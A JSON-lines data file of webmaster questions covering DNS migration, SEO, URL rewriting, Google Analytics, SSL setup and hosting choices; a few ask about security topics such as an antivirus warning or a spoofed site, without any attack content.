{"id":"59518","title":"New domain keep pointing back to old server","text":"I am migrating my domain to a new host, 000webhost.com. but it keeps pointing back to my old hosting, biz.nf every time I tried to access it. I know there is a DNS propagate of 24-48 hours, but my website is showing fine under the proxy http:\/\/anonymouse.org\/cgi-bin\/anon-www.cgi\/http:\/\/www.maryshao.com\/ but not when I just type in maryshao.com Why is my website only showing under the proxy website? Is it really just DNS propagate time?"}
{"id":"52429","title":"Is it possible for an artist's offical website to feed data to Google's \"Musical Artist\" or \"Band\" info box?","text":"I work with a lot of musicians building websites for them. Within the last year or so, I've noticed that Google has started adding an informational overview of some bands and musicians when you search for their name directly. Clearly the descriptions generally come from Wikipedia and the photos from google images, and the other information is gathered from a variety of sources. Are there any meta tags or special HTML content or attributes that can be placed on an artist's website that will get populated into this area? Does something like the code below this exist? (quasi-code) If yes, does it have the potential to effect this google \"Musical Artist\" info box, or does all of that data get pulled exclusively from Wikipedia? <html> <head> <meta name='type-of-site' content='this-site-is-a-band'> <meta name='band-image' content='\/images\/my-cool-band-photo.jpg'> <meta name='active-from' content='2013'> <\/head> <body> <h1 data-band-name='this_is_a_band_name'>John Doe and the Unknowns<\/h1> <ul data-members> <li>John Doe, guitar<\/li> <li>Jane Doe, drums<\/li> <\/ul> songs... albums... other music related data... etc... <\/body> <\/html> "}
{"id":"17364","title":"SEO - which URL's are the best?","text":"I'm using .htaccess with RewriteRule to create SEO-friendly URL's. However, I have a few questions about this: 1. First of all, I noticed many websites end their URL's with .html (or another extension). For example: `http:\/\/www.example.com\/news\/564\/seo-improvements.html` Does ending an URL with an extension have an impact on SEO? 2. Which URL is the best (again, for SEO): `http:\/\/www.example.com\/news\/564\/seo-improvements.html` `http:\/\/www.example.com\/news\/564-seo-improvements.html` I've noticed both notations are often being used. 3. On many websites, I notice you can alter the text part of the URL, which is followed by a redirect. For example: `http:\/\/www.example.com\/news\/564\/seo-improvements.html` <-- original URL `http:\/\/www.example.com\/news\/564\/sefkdjfjdfkdjfk.html` <-- altered URL, will redirect to the first one How can such a redirect be done? Thanks EDIT: When creating this thread, I got a warning this question may be subjective - is it? Isn't there a \"correct\" answer on these questions?"}
{"id":"28462","title":"Sharing unique links on social media vs SEO","text":"We're currently implementing a voucher system on our site which will allow our users to obtain a 25+% discount on certain products, provided they donate 10% of the purchase price to charity. We will offer the ability to share the discounts via social media in return for larger discounts to the sharer for each person who clicks through the link and buys an item. I understand that social links have SEO benifits, but this appears to be based on lots of people sharing the same link. If our voucher users share a unique link i.e. `http:\/\/ourdomain.com\/sipsfesdf` rather than a fixed link `http:\/\/ourdomain.com\/product-name` will we still receive the same benifts? Should we instead share something like `http:\/\/ourdomain.com\/product- name\/sipsfesdf` Thanks in advance."}
{"id":"52370","title":"What should be done when one page has multiple parents?","text":"I have a website which deals with mobile phones related information. Now I have a webpage which has all articles related to a mobile phone. Now this page can potentially have two parents one being the \"All articles page\" and other being the \"XYZ Mobile Phone Page\". So which of the following breadcrumbs would suit more? 1. Mysite > All Articles > Articles Related to XYZ Mobile Phone 2. Mysite > XYZ Mobile Phone > Article Related to XYZ Mobile Phone I am in a similar kind of dilemma when trying to decide the URL for this page."}
{"id":"12787","title":"SEO - Where to go from here (how to build links etc)?","text":"I've been asked to find out about SEO and getting links. We are apparently in a contract with a firm who have made changes to our site code, changes to the text on the site, and registered us with a list of directories. I've had no involvement with this until now. They've told us to get links, and to add articles to our site. I believe my boss expected all this to be included and it wasn't so now it's on me to know enough to do this and not wreck our ranking. I've googled and think I know what to do with articles, which is simplistically just adding diverse content with each article focussing on a keyword, and create lots of them, right? Some sites talk about percentage of keywords, does this really matter? How do I get links though? If I start mailing sites asking for a link isn't that just going to be considered spam? Do we buy them? If so, where? As you can tell I'm completely new at this. So many sites contradict each other, or promise impossible magic if you buy a product. Is there a reasonable unbiased guide out there? I have some tech IT background but am only a user as far as the web goes. Sorry for the very basic questions. Thanks. **Update** I was concentrating on the wrong question - I'd have been better knowing how best to proceed from here, hence the daft questions on how to build links etc. Is there anything I need to watch out for when starting out with link building or writing articles? ie damage our ranking?"}
{"id":"10323","title":"Google Site Search -- How to use as API?","text":"I am trying to get an API that I can use to do searches on my own site. Google has something called site search and something called custom search. What is the difference? I make a new _site search_ , then it is listed on a page with \" _custom search_ \" in the heading. This is really confusing. I just want an API that I can use to search my site. I would prefer json to xml as the results. And if this service is offered by someone other than Google, that is fine too. The ones that I create at Google want me to embed a premade search box into my site. I do not want that, I want an API that I can call from PHP or JS. How can I get this?"}
{"id":"39837","title":"Track visitor use of \"Ctrl + F\" on a website?","text":"Would it theoretically be possible to detect (e.g. via JavaScript) if a user queries a webpage with the Windows shortcut `Ctrl` + `F`, or the Mac- equivalent `Command` + `F` in their browser? The first step would be to detect whether that function was called, but it'd be a different ball game to track their keystrokes... I'm asking because a lot of the time, web apps seem to re-wire keyboard shortcuts to do other things (or they get disabled completely, for example, in some cases of HTML5 `canvas`, the shortcut `Command` + `W` to close the tab doesn't work). This is likely a different mechanism, and I don't have high hopes. Furthermore, only about 10% of users know how to use the `Ctrl` + `F` function anyway."}
{"id":"39830","title":"Page blocked by antivirus","text":"My client reports that [this page][1] I designed is blocked by his antivirus (Norton) : . The rest of the website is not blocked. Do you have any idea why Norton would block this page ? The report says \"web attack: mass injection website 5\"."}
{"id":"10326","title":"domain with only one or two characters","text":"I came across some sites that have only 2 or even 1 charachter for the domain name like hp.com, u.bb and 9.bb How come? as we know that when registering a domain name we must provide at least 3 characters."}
{"id":"2772","title":"How do I make a sprite full of different images (hover, non-hover, etc)?","text":"I understand there are tools on the net to make a sprite, but I'd like to learn how to create icons for the different states of the icon. Is there an easy way to make all these different variations of this icon:  (Also, can you tell me how I can better word my question so it doesn't sound like I'm asking for sprite advice?)"}
{"id":"2773","title":"What to consider if working for ad space?","text":"I've been approached to do web development work in exchange for ad space: All revenue from a yet-to-be-agreed-upon number of pages would go straight to me. To keep things simple, we have agreed on Google AdSense. Obviously everyone thinks their new site will be the new cat's meow. So this would be up to me to determine cost\/benefit of my time. Assuming you would do it..... ...tell me your **\"BIG IF\"**. Here are some things I've considered: 1. I must be awarded **X** amount of pixels in the top **Y** pixels of web page. 2. I must be awarded **X** number of pages. 3. I must be awarded **X** number of page views... 4. Work performed will be limited to craft (no data entry, writing content, etc. purely web related work)."}
{"id":"4897","title":"ie7 killing list-style on floated ul's","text":"I have two ul's (.listone and .listtwo respectfully) floated left and the other right. The list-style:circle; works in every browser except for ie7 =< . In ie7 the list-style is just ignored. How can I fix this?"}
{"id":"68156","title":"How to verify real people?","text":"For a music community, I want bands to be able to verify themselves. What is the best way to do this? For example I could let the record label mail me, but some bands are indepedent. I could also ask them to put a 'code' on their website or Facebook page and then check manually. I'm not per se looking for a waterproof solution, so no scanning of real life documents and I'm okay with doing the checks manually. In other words, how can you verify real people with their virtual presence?"}
{"id":"16947","title":"Lower Google traffic after adding more pages?","text":"I recently added a new feature to a website, which resulted in a few hundred extra pages being added to the site. I added these new pages to google sitemaps, with the hope that they would attract some 'longtail' queries. However, it seems that traffic from google has dropped off significantly since this addition. One problem might be that these new pages are rather light on content (although, they are very useful), and that they outnumber the 'normal' pages on the site. * Is this the most likely reason for the problem? If not, then what? I would like to get back to the google traffic I had before this change, but am not sure about the best way to go. As I see it, my options are: * Remove the new pages from the site map (I don't think this will make a difference now) * Change internal links to the new pages to no-follow * Just wait?"}
{"id":"16417","title":"How to add sitemap of a blogger blog to Google webmaster tools?","text":"I have two blogs. Let's say http:\/\/name.blogspot.com\/ and the other one is http:\/\/name2.blogspot.com\/ For blog 1: While submitting sitemap to Google webmaster tool I selected the option and then added rss.xml at last. (http:\/\/name.blogspot.com\/rss.xml) Sitemap added successfully. For blog 2: I followed the same procedure but it didn't work. Then I tried to open the url (http:\/\/name.blogspot.com\/rss.xml). The url was showing the atom feeds. I tried same with the other blog but that url is redirecting to the feedburner feeds. I think this is the reason why the other blog's sitemap is not getting submitted. Help me with it."}
{"id":"9142","title":"Does the Adblock Plus extension prevent malicious code from downloading\/executing?","text":"Firefox and Chrome are my favourite browsers. The main reason is an extension called Adblock Plus. Basically, it blocks all the ad networks if you subscribe to one of the lists, like EasyList. Does it also protect against malicious ads on completely legitimate websites? For instance, several news websites use ad services that may allow a malicious user to insert \"evil code\". This makes the web very unsafe, especially for those who lack a serious antivirus product."}
{"id":"7977","title":"Mobile phone app or optimised mobile site?","text":"I run a motor sport news website and currently deciding if I should go down the route of paying someone to develop an app for a phone, in which case I would need something compatible for iPhone, BlackBerry and Android or if I should just spend time optimising my mobile website? Would love to hear some thoughts of others on this!"}
{"id":"9493","title":"How to remove a file from url using mod_rewrite","text":"I want `http:\/\/www.foo.com\/` to internally point to `\/var\/www\/home.php` and `http:\/\/www.foo.com\/home.php` to be redirected to `http:\/\/www.foo.com\/`. Thus, I would like to fix the old `http:\/\/www.foo.com\/home.php` to the new one `http:\/\/www.foo.com\/`. But I always get infinite loop or other strange error no matter what."}
{"id":"9495","title":"Mod Rewrite - directing HTTP\/HTTPS traffic to the appropriate virtual hosts","text":"I have an Apache2 web server (v. 2.2.16) running on Debian hosting three virtual hosts. The first two hosts are HTTP only (server1 and server2). The last host is HTTPS only (server3). My virtual host configuration files can be found at pastebin. I would like to use mod rewrite to get the following behavior: * Any request for `http:\/\/server3` is re-directed to `https:\/\/server3` * Any request for either `https:\/\/server1` or `https:\/\/server2` is re-directed to `http:\/\/server1` or `http:\/\/server2` as appropriate. Currently, requesting `http:\/\/server3` gives you a 403 because indexing is disabled for that host and a request for `https:\/\/server1` or `https:\/\/server2` will resolve as `https:\/\/server3` (as its the only virtual host running SSL). This behavior is not desirable. So far I have added a rewrite rule to the central configuration file ( _myServerWideConfs.conf_ ), with unfortunately no effect. I was under the impression that this rule (or something similar) should rewrite all https:\/\/ requests for server1 and server2 to the proper http:\/\/ request. RewriteEngine On RewriteCond %{HTTP_HOST} !^server3 [NC] RewriteRule (.*) http:\/\/%{HTTP_HOST} My question is two-fold: * What mod rewrite rules should I use to accomplish this? And where should they go? Debian's packaging of Apache has a pretty granular (i.e., fractured) configuration file layout; should my rewrite rules go in _\/etc\/apache2\/apache2.conf_ , _\/etc\/apache2\/conf.d\/myServerWideConfs.conf_ , or the individual virtual host files? * Is mod rewrite the right tool to accomplish this or am I missing something in my greater apache configuration?"}
{"id":"6266","title":"Pros and Cons of Wordpress multiple installations versus networking?","text":"I have several sites and I build most of my clients' websites on Wordpress. It makes sense for most of the sites I build and if I want to give them the reins it is easy to train a client on. I know Wordpress 3.0 integrated the MU plugin allowing for multiple websites to be run on one platform. Since I have never tried doing this before, I'm curious about the experience others have with it. What are the pros and cons? Furthermore, when is it appropriate to do multiple sites on a single installation? Seems like the websites I personally run would be good candidates since only I and occasionally another administrator login to the backend. Some of the websites I run for the clients and they don't login to edit anything themselves, so these also might benefit. However, the ones where I give them access to the backend, is it possible to limit them to only modify and access the pages\/posts on their own site?"}
{"id":"50075","title":"International search: how to show different domains in Google+ Local?","text":"## Background A site has multiple ccTLDs: * `example.com\/miami-hotel` for people in the US, * `example.co.uk\/miami-hotel` for UK users, * `example.de\/miami-hotel` for Germany, * `example.fr\/miami-hotel` for France, * etc. Searching for certain city keywords will return a list of Google+ Local (formerly Places):  Each links to the corresponding company website that is visible. ## Problem When searching on www.google.de, the domain of the site intended for US users (`example.com`) appears instead of the corresponding ccTLD (`example.de`) aimed at German users. This applies to all languages. In my opinion and for the purposes of this business, it's not good user experience: searchers would most likely prefer to book on a site localized for them (e.g. in their language and currency). ## Question Is it possible to **return different ccTLDs in these local search listings** for users across the globe? Currently, Google+ Local seems to only support supports adding a single \"Website\" field. ## Solutions I have considered * Creating duplicate Google Places listings for each URL would be spammy (and not viable when there's 100s of locations, each needing a listing in 8 languages). * I don't see the `hreflang` annotation helping either, and GWMT geotargeting is already set."}
{"id":"21181","title":"How do I transfer my email-hosting, and keep my domain name?","text":"I have bought a domain name and some email hosting from a company (PurpleCloud). I want to get my email hosting from another company. (Fastmail). I don't care who I register my domain with. (it's a .co.uk if that makes a difference.) What do I need to do to achieve this? Do I buy the email hosting and use some control panel at the new provider? Or is there a combination of to-and-fro between different panels at both providers?"}
{"id":"20309","title":"when does a domain name really expire before someone else can register it","text":"I've Googled but haven't really found an answer. * when does a domain name really expire before someone else can register it? * Is this set by the domain registrar? I've seen someone mention 75, 30, 45 days after the domain expires but nothing official, just wanting to confirm. Related Question but doesn't answer my question: * How long after your domain expires do you have to re-register it before someone else can? Old Source, is this still correct? * http:\/\/www.mikeindustries.com\/blog\/archive\/2005\/03\/how-to-snatch-an-expiring-domain"}
{"id":"42185","title":"Does maintaining URL structure matter between different sites on the same domain?","text":"I have a client that has a yearly event. Each year they create a new, complete website for their event in a subdirectory on their event's domain. Last year their URL had this structure: `http:\/\/event.domain.com\/spring2012` This year, they'd like to use: `http:\/\/event.domain.com\/spring13` Before they move ahead with it, they've asked me whether there's any benefit to keeping the same structure. My only thought was that Google might prefer a consistent structure, but I'm not sure if it actually matters in this case since they are completely separate sites. So I'm wondering, does this matter to Google, and\/or are there any other possible downsides to using this slightly different URL structure?"}
{"id":"12258","title":"Is an externally-hosted subdomain a security risk?","text":"A company I've been developing a web site for wants to keep their current domain, which is something like company.parentcompany.com. Because we wanted to use a different CMS, the parent company refused to support or even host it and asked us to pay for third-party hosting. Now that we've done that, they won't make an A record for the subdomain pointing at the new server, stating that it is a security risk. I'm not a DNS expert by any means, but this sounds like total BS to me. I've seen this discussed several times, but I've never seen anyone raise security issues. Can I fight this, or are they really correct?"}
{"id":"17095","title":"What headers\/META headers should I be using for an infinite link system like a calendar?","text":"I have a web calendar, all my own work. It works fine. But I see in the logs a bunch of search indexers go round and round and round trying to chase every link. It could go forward to the year 3000 month by month and day by day. I don't think the indexers should follow this as it doesn't serve much purpose. What HTTP headers or META headers should I apply to the calendar to let them know it is a calendar, but they shouldn't follow every link on those pages?"}
{"id":"59516","title":"Google Analytics Ecommerce transaction tracking by UserID for Transaction?","text":"I am setting up Google Analytics transaction tracking and I plan to pass \"userID\" as a transaction id. While site usually has one-time purchases, there are sometimes users who purchase same product (subscription) more than once. Are there any downsides to this and should I reconsider this?"}
{"id":"50072","title":"What could have caused a large traffic drop from Google in early May?","text":"I have a website (www.equispot.com) that has been indexed for almost 2 years in Google. I managed to get myself on the first page (average position 6-8) on Google for my target keyword of \"horses for sale\" and held there pretty solidly for months. Suddenly, with no changes to the site, traffic from Google dropped like a rock in early May. I slowly fell in position until now I'm sitting at the bottom of page 4. I have never hired an SEO firm, have not used any \"black hat\" techniques that Google would have penalized me for in their May update, etc. I'm not familiar enough with SEO to know how to look at link profiles, etc. to tell if there's something wrong. I've run my site through a DNS checker and it came back with no errors. Google Webmaster Tools shows no messages or notices of any kind, just a drop in traffic. GWT also shows only 2 server errors and 1 404. Is there anyone who can tell me by quickly checking my domain if there's an obvious reason that my traffic would have fallen so far, something that I can fix?"}
{"id":"42987","title":"Detect other blog posts on the Internet similar to my posts","text":"Others can modify or copy and paste my articles and put it in their blogs without any link to me. Is there any way to recognize or track my copied content? Are there any tools on the Internet that could help or do it for me?"}
{"id":"21455","title":"HTML Editor for Windows Mobile Smartphone","text":"Are there any HTML editors for windows mobile smartphones with which I can create HTML on my smartphone?"}
{"id":"21454","title":"Monitoring load\/resource drain of individual scripts on apache","text":"We have a website and for some reason lately its been grinding our server to a halt. It has had a spike of traffic, but even still that spike is only possibly 1k or 2k. We installed eAccelerator PHP bytecode cache on the server, but this doesn't seem to be doing much. I've also installed a wordpress plugin that is supposed to work with eAccelerator, but the server's still going down. We've moved all the images to amazon s3 and still the website goes down, so the load must be created by a certain script on the server (or a fault on the server, although our hosting company have assured us that there is no technical fault their end). Is there any tool or piece of software, or technique to find out what scripts cause the most load on the server, to see if we can pin point it to a script somewhere that is maybe causing an infinite loop. Or any more general tools that can monitor the usage on our server completely to see where problems may be caused? We're not entirely sure its a script error - it could be a mysql error or anything. Thanks for your help."}
{"id":"24133","title":"Is it a good idea always bold or italic keywords for SEO?","text":"Is it a good idea always **bold** or **italic** keywords in the page contents for SEO (Google)? (not programmatically, but in the most of cases, near the totality)"}
{"id":"24131","title":"How to promote your new website (when you have an old site with the same theme but higher PR)","text":"In the situation that you have an old website registered under wordpress (for example aaa.wordpress.com). It became quite successful and you decided to purchase \"aaa.com\". On aaa.com, you continued talking about the same topic same from \"aaa.wordpress.com\", and we put links from \"aaa.wordpress.com\" to \"aaa.com\". but because \"aaa.wordpress.com\" was so successful before, that your keyword ranking for \"aaa.com\" is always behind. How can we increase the keyword ranking for \"aaa.com\"?"}
{"id":"63514","title":"Is it better to have AWS EC2 and RDS is the same Availability Zone?","text":"I run a web app in an AWS EC2 instance and the database for the app in an RDS instance both in Amazon Web Services Region East-1. However, one of them is in Availability Zone 1a and the other is in 1d. Am I getting all the speed benefits of having both instances in the same \"data center\" (East-1) even if they are in different Availability Zones, or can I optimize by moving them to the same Availability Zone?"}
{"id":"49278","title":"After Google's penguin 2.0, is a DMOZ listing still effective?","text":"Please look at the following questions in which answers say that a listing in DMOZ is useful for rank: * Does an entry in DMOZ significantly help the ranking of a web site? * Is it really worth submitting to DMOZ anymore? **Now** with Google's Penguin 2.0 algorithm update, is being listed in DMOZ worth it for a website's rank?"}
{"id":"63512","title":"Force SSL using 301 Redirect on IIS7 gets 401.1 Error","text":"I've got a site that is using an Execute URL in the 403.4 error page slot that calls a page named forcessl.aspx. Here's the contents of the file: > strWork = Replace(strQUERY_STRING, \"http\", \"https\") strWork = > Replace(strWork, \"403;\", \"\") strWork = Replace(strWork, \"80\", \"\") > strSecureURL = strWork Response.Write(strSecureURL) > Response.Redirect(strSecureURL) Catch ex As Exception End Try End If %> This particular site gets a 401.1 error if https:\/\/ is not added to the url. I have several other sites using the same method that work fine and this one mirrors those in all ways that I can tell (folder permissions, etc). This new site is just a subdomain of the same domain that the other sites are using. The main domain has a wildcard SSL cert. What else should I check?"}
{"id":"3462","title":"A good host that supports windows 2008 & PostgreSQL?","text":"Looking for a good host for a project on Win2008 and PostgreSQL. I found these 2 sites but they support older versions of PostgreSQL. http:\/\/www.jodohost.com\/ http:\/\/www.gbehost.com\/ Does anyone have any good suggestions?"}
{"id":"841","title":"Is it bad to develop against production data?","text":"I've always heard that it is bad practice to develop against production data and am currently in the process of moving to a Dev>Stage>Production model, mainly because I have a new employee with minimal skills and I'd rather not have him work directly with production data yet. But for a long time I've worked directly with production data with minimal headaches, except for maybe a few errors creeping in here or there, things like spelling issues, bad alt text, links pointing to the wrong location. This seems to be due to a lack of peer review on my part, not because of working with live data. So why is developing on the live site such bad practice?"}
{"id":"22988","title":"how can I track google plus views in my website?","text":"I am trying to find how I can track google plus clicks in my website for tracking purposes? Solutions not related to google analytics plse?"}
{"id":"35849","title":"Can web applications running on IIS7 Windows Server 2008 R2 be forced to immediately detect changes to hosts file?","text":"We have several web applications running on several load-balanced servers. We want to have our web applications communicate with each other without first traversing outside the load balancer. For example: * http:\/\/appA.example.com is running on 192.0.2.1 and 192.0.2.2 * http:\/\/appB.example.com is also running on 192.0.2.1 and 192.0.2.2 * The load balancer's public IP address is 198.51.100.3 * By default, when appA on 192.0.2.1 makes a call to a WCF service hosted in appB, the HTTP request is routed to 192.51.100.3; this establishes a new session and the load balancer will direct the call to either of the two servers * We want the call to be routed to the instance of appB running on the same server so we add `192.0.2.1 appB.example.com` to the hosts file on 192.0.2.1. This eventually works, but we either have to wait for the app pool to naturally recycle or do a manual reset before appA sees the new address. Is there any way to have the change automatically detected without having to recycle the app pool?"}
{"id":"50049","title":"Canonical redirection meta tag","text":"There are two pages in my website with the same content; only the URL's are different: `www.websitename.com` and `www.websitename.com\/default.html`. Someone suggested that I should add canonical tags to avoid them being considered as duplicate content. Where should I add canonical tags and why?"}
{"id":"20581","title":"Two way payment options for UK customer based website?","text":"I want customers to be able to pay us through our website but I also want **us** to be able to pay customers using the same payment method. I also want the payment processes to be simple (as possible!) and for payments to incur minimal fees. I understand that implementing eWallet only payments with operators such as PayPal, Moneybookers, Click'nBuy (any others?) may be the way to go. What other options do I have?"}
{"id":"31718","title":"Google Analytics Funnel - How can I track any parameters in URLs","text":"How can I track any parameters in URLs using funnels in Google Analytics? In all product URLs one common string is \"-pd-\" so I need to track this and create a funnel with goal URL `\/thankyou.php` I am confused about step1. How can I evaluate the product page?"}
{"id":"20588","title":"Alternative to Instant Form Pro","text":"I was looking for a PHP form generator this morning and ran across \"Instant Form Pro\" by Joel Comm (http:\/\/www.instantformpro.com). It looks like it offers what I'm looking for (easy to use quick form generator based on PHP and MySQL that's self-hosted with no other fees), but the site smacks of \"scam.\" It's being pitched as a way to generate surveys to increase your business, make lots more money, etc. Is this thing worth the $97 or is there an open source alternative that might be... safer?"}
{"id":"32310","title":"Error while showing feeds in blogger","text":"I am trying to show my feeds on a blogger blog. The feed url is this but blogger says invalid feed url. The url opens fine on my browser.Please help me out. Thanks."}
{"id":"44001","title":"Is there any profiling tool to measure web application performance by identifying common interactions paths?","text":"I would like to measure how long it takes to complete a single operation such as \"UPDATING AGE ON A CUSTOMER FORM\", \"INSERT A NEW CUSTOMER\" in my web application. Is there any tool with some web server log grouping feature that let me build my interaction group and then recognize the same pattern in future logs?"}
{"id":"44003","title":"Restrict webserver access to specific set of URLS only","text":"Is there any possible way to setup and restrict access web server to specific set of URLs only. I want my web server only respond to www.abc.com, www.abc.com\/videos, www.abc.com\/videos\/vandor-1, www.abc.com\/discussionfrom."}
{"id":"37656","title":"Can a website become popular in a \"category\" (ie, not just a single page)","text":"I have a few keywords where my website is high ranking(2nd and 3rd result). For instance, I have 3 blog posts covering a certain kind of modem. Is it common for search engines to consider a website popular in a \"category\"? For instance, if I was the first result for \"foobar\" with one page, and then added another separate page which mentioned \"foobar\"(and maybe a link from the original page), would a search engine prioritize this separate page when compared to a completely separate website with a page with the same content?"}
{"id":"5230","title":"Same page looks great in Firefox & crome But Not in IE8","text":"I have a site hosted at: http:\/\/41.223.52.100\/ which i used jbar to display certain text on the page. The same page looks great in Firefox & google crome but not in IE8, Can't figure-out why! Please share your kind inputs, on this. Thanks."}
{"id":"1733","title":"Choosing which domain to secure","text":"We've got a website that is served on both `www.example.com` and just `example.com` - we've never done any sort of forcing users from one domain to the other, so if they land on `example.com` then that's where they stay, and I'm guessing that of those who bookmark our pages they'd be about a 50\/50 split (there was an issue earlier on where some of our material omitted the WWW and years later we're still noticing a traffic split). We're now adding SSL. We're not forcing SSL until the user hits the login or register page. Which domain should we run our SSL on? * `www.example.com` * `example.com` * `secure.example.com` * Something else? I've done plenty of SSL sites before, but they were always designed with SSL in mind, and we always forced the www subdomain. Are there pros and cons of doing it any of those ways? My primary concern is about the recognition of cookies, but seeing as we're forcing SSL on logon, the session cookie will be written on the SSL'd domain anyway. My primary concern is for people who might go to `https:\/\/example.com` when we're running the site on `https:\/\/www.example.com`, etc. Another question would be, \"Should I rewrite those who land on the non-www site to the WWW site?"}
{"id":"5233","title":"How to build this complex page?","text":"I came across a website today that uses Drupal. When looking at their contact page I noticed it's build up in a pretty complex way (columns, consistent styles, icons next to phone numbers). In theory it could be possible for a user (not the webdesigner) to create all this html by hand but I doubt that. Since I'm a complete newbie when it comes to Drupal, I don't know all of the functionality it contains. Could anyone tell me how this page was likely created? Using a custom module or some other feature I don't know about?"}
{"id":"13125","title":"How do sites like alexarank and w3spy.net work?","text":"I am curious as to how companies are able to track the number of unique visitors to other people's sites. Seems like an impossible task to me. Any ideas?"}
{"id":"13123","title":"Merging two sites into one, how to redirect from the domain that's going away?","text":"I haven't been able to find any existing questions that cover my exact issue, so here goes: My client wants her two sites (domain1.com and domain2.com) rolled into a single, new site under domain1.com. Once the site is ready on domain1.com, DNS for domain2.com would be pointed at the same server as domain1.com. I know how to do an htaccess rewrite rule that would make all domain2.com traffic map to a specific single page or directory within domain1.com. But that's not what the client wants. What she wants is for a bunch of specific pages on domain2.com to map to specific new pages on domain1.com. For example: domain2.com\/index.php?pageid=58 GOES TO domain1.com\/2011\/04\/somearticle domain2.com\/index.php?pageid=92 GOES TO domain1.com\/2011\/03\/differentname etc. I could put a bunch of 301 redirects in the htaccess on domain1.com, which would work fine. The problem is, the client doesn't want\/need specific redirects for ALL the domain2.com pages, and if I just do 301 redirects, anybody who comes looking for a domain2.com page that I haven't built a specific redirect for will get a 404 error. So I need to use 301 redirects for some traffic, and a rewrite rule for any traffic that's not covered in the 301 redirects. How do I do sort of a blending of a rewrite rule and 301 redirects, all in the htaccess file for domain1.com? Is this possible? Is it as simple as putting the 301 redirects in the htaccess file first, then doing the rewrite rule? I'm guessing not."}
{"id":"13121","title":"Finding the email\/account associated with a Google Analytics \"UA-XXXXXX-X\" id?","text":"I set up Google Analytics for a client some time ago, so the tracking code is installed. I can't for the life of me find which email account I used to set it up, so now I can't access the stats. We haven't actually wanted to track anything until now. Is it possible to somehow find out what email\/Google account is associated with the `UA-XXXXXXX-X` id?"}
{"id":"65688","title":"Does noindex metatag have a negative effect on the canonical URLs PageRank?","text":"A page has this URL: `http:\/\/example.com\/pages\/some-page\/` There's a pagination on this page which uses a GET parameter page which would result in URLs like: * `http:\/\/example.com\/pages\/some-page\/?page=2` * `http:\/\/example.com\/pages\/some-page\/?page=3` * `http:\/\/example.com\/pages\/some-page\/?page=4` * etc. All of these pages have the same canonical tag (without the page parameter): `<link rel=\"canonical\" href=\"http:\/\/example.com\/pages\/some-page\/\">?` Still the URLs with parameter get indexed by search engines. Would it affect the PageRank of the non-parameter version of the page to add `noindex` to the URLs with the page parameter? `<meta name=\"robots\" content=\"noindex, follow\">` (as they all have the canonical URL of the page that should stay indexed)"}
{"id":"67971","title":"Force google not to include my site's name in my pages' title","text":"I know this kind of questions has been asked many times, and I know Google changes the title of the page according to the search query and page's content. I read many articles about this topic, like this : **Review your page titles and snippets** But my problem is that I think my on-page SEO is pretty good, and my title tag is the exact thing that I want to users see in the Google search result page. But Google adds my site's name in the beginning of the title of results and as I said, I don't want it at all. As I know, now (Aug 2014), there is no way to tell Google not to change the title of page in the results and show my exact title Of course I wish there was something like : `<meta name='areYouSureYourTitleOk' value=\"Yes,Dont change it,I beg you\" \/>` , but there isn't. But there must be some way to do this, I mean maybe some changes in my title or meta tags, or even my contents can convince google that my title is the best title possible for the page. So please help me on this, is there a way or not ?"}
{"id":"59995","title":"What is the proper SEO handling of pages appearing in popups using IFRAMEs?","text":"I am working on a CMS which makes use of IFRAMEs to display some forms, for illustration, say a Search form. So the user clicks the Search button and the website reacts by opening a popup window which includes an IFRAME to the actual Search form. This means I have a \"bare\"¹ page with the search form. Page which, obviously, is directly accessible via its own URI. In terms of SEO, the forms have no content worthy of being indexed, so I was thinking to mark them as NOINDEX. Is that the correct way to handle such pages? From what I read on some other question, Google suggests to put links from IFRAMEs to other pages. However, I definitively do not want a user visible link to the Home page, or whatever page in link with the form, in the content of my forms because that could be misinterpreted by the user. However, if `<link>` tags would work too, which one should I use? (i.e. \"top\" would work, right? with the home page in there?) ¹ By bare I mean that the normal theme is not shown, it will be a plain white background with just and only the simplest form."}
{"id":"28477","title":"Show \"results - of\" of internal search in Google search result","text":"I was doing some searches on Google Search and I stumbled on this  As you can see in the screenshot above, the search results show a summary of an internal search page (the one I highlighted by red underline) on the website (homes.com and findaproperty.com). I would like to show up this kind of result in the Google search for my website internal search. How do I do it? Do I have to put some metatag or something?"}
{"id":"14314","title":"What can I do if someone is spoofing my site?","text":"Someone registered a domain name that is close to mine used a different suffix (.info) and ripped off the UI. They took a screenshot of our homepage put it on their site and put up a modal window asking people to take some quiz. What can I do? Do I complain to the company that gave him that domain? They also using tweeter and posted a youtube video of our site with their name on it."}
{"id":"54007","title":"Multiple stores for the same niche","text":"I started developing a new niche of products in my country about 3 years ago. That's when I opened my first store. Everything went fine, until a year ago, when someone I thought was a friend secretly stole my idea and made his own competing store. I was pretty upset when I caught him and decided to make it as difficult as possible for him, so I made another 4 stores, trying to get him as low as possible in the search results. The new sites have similar products (although not 100% identical), slightly different titles, images and prices. They look different and are built on different e-commerce platforms. They are all hosted on the same server, have roughly the same backlinks, use the same Google account for Analytics, have the same support phone numbers etc etc. I wasn't thinking that I'm doing something fishy, so I didn't try to hide anything. Trouble is that those sites, after doing fine for a few months, dropped like bricks in search results, almost to the point that they can't be found at all. At the moment, the only site that ranks relatively well is the original one and a couple of secondary pages with no importance from one of the other sites. How did this happen? Does Google have something against this practice? Did they take action by themselves when they realized that I was trying to monopolize this niche, or did my competitor report me for some kind of webspam? And more importantly, what do I do now? Do I shutdown all but my original site and 301 redirect users to it from the others? Can I report my competitor for engaging in the same practice? (He fought back and now he has 3-4 sites, some of which still rank kind of OKish, also he has no idea about web development, SEO or marketing, he just crudely copies what I do and is slowly but surely starting to do better than me)."}
{"id":"1599","title":"Getting list of all registered domains in particular geographical region","text":"How can I get list of domains registered in a particular geographical region? For instance, I want list of .ke domains in Eastern Africa"}
